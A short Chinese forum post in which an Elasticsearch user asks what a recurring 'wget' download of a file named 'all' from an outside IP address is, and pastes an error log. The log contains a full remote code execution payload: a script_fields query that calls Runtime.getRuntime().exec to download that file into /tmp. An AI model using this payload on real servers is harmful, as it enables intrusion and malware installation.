wget -O /tmp/all http://222.186.34.171:5656/all 是啥?

es 启动后,会定时 wget -O /tmp/all http://222.186.34.171:5656/all ,下载一个名为all 的文件,不知道是干什么用的?

错误信息如下:

 query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/all http://222.186.34.171:5656/all\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
